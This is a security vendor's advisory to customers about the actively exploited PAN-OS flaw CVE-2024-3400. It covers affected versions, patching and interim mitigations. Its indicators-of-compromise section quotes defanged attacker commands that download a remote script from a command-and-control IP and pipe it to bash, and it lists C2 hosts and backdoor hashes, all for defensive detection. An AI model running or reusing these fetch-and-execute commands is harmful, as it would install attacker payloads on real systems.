Dear ORNA Customer,

We are sending you this bulletin to provide situational awareness about a newly discovered vulnerability in select Palo Alto Networks Operating Systems which has been scored at a 10.0 in the CVSS scale (the highest value possible). This vulnerability is being actively exploited in the wild.

Summary

On the 12th of April, Palo Alto published a critical vulnerability in their PAN Operating Systems. This vulnerability allows unauthenticated attackers to execute arbitrary code with root privileges on affected firewalls, posing a significant security risk. Palo Alto Networks has assigned this vulnerability a CVSS score of 10.0 and has identified it in PAN-OS 10.2, PAN-OS 11.0, and PAN-OS 11.1 configurations with a GlobalProtect gateway and device telemetry enabled.

Versions Affected	
Cloud NGFW	*None*
PAN-OS 11.1	< 11.1.2-h3
PAN-OS 11.0	< 11.0.4-h1
PAN-OS 10.2	< 10.2.9-h1
PAN-OS 10.1	*None*
PAN-OS 10.0	*None*
PAN-OS 9.1	*None*
PAN-OS 9.0	*None*
Prisma Access	*None*

According to Palo Alto, **patches for the affected systems should be made available as soon as the 14th of April.**

Active exploitation

Malicious exploitation of CVE-2024-3400, known as **Operation MidnightEclipse**, has been detected, although currently attributed to a single threat actor. However, Palo Alto Networks anticipates the potential for additional threat actors to exploit this vulnerability in the future.

Recommendations

Recommendation #1: Update all devices running PAN-OS

ORNA **strongly recommends** that organizations update their Palo Alto Networks devices as soon as possible in order to apply the official patch.

Recommendation #2: Apply interim measures to mitigate exposure

If it's not possible to apply the official patch in the very near future, ORNA **strongly recommends** implementing interim measures such as:

- Enabling Threat ID 95187 and applying vulnerability protection to the GlobalProtect interface;
- Temporarily disabling device telemetry.

Recommendation #3: Focus monitoring of PAN firewalls for signs of compromise

Since this vulnerability is being exploited, ORNA **strongly recommends** that organizations focus their attention on their Palo Alto firewalls for signs of compromise using the IoCs presented below.

Indicators of Compromise

UPSTYLE Backdoor

```
Update.py
3de2a4392b8715bad070b2ae12243f166ead37830f7c6d24e778985927f9caac
5460b51da26c060727d128f3b3d6415d1a4c25af6a29fef4cc6b867ad3659078
```

Command and Control Infrastructure

```
172.233.228[.]93
hxxp://172.233.228[.]93/policy
hxxp://172.233.228[.]93/patch
66.235.168[.]222
```

Hosted Python Backdoor

```
144.172.79[.]92
nhdata.s3-us-west-2.amazonaws[.]com
```

Observed Commands

```
wget -qO- hxxp://172.233.228[.]93/patch|bash
wget -qO- hxxp://172.233.228[.]93/policy | bash
```

References

1. https://security.paloaltonetworks.com/CVE-2024-3400
2. https://unit42.paloaltonetworks.com/cve-2024-3400/

If you have any additional questions, please reach out to your ORNA representative at sme@orna.app.

Sincerely,
ORNA Team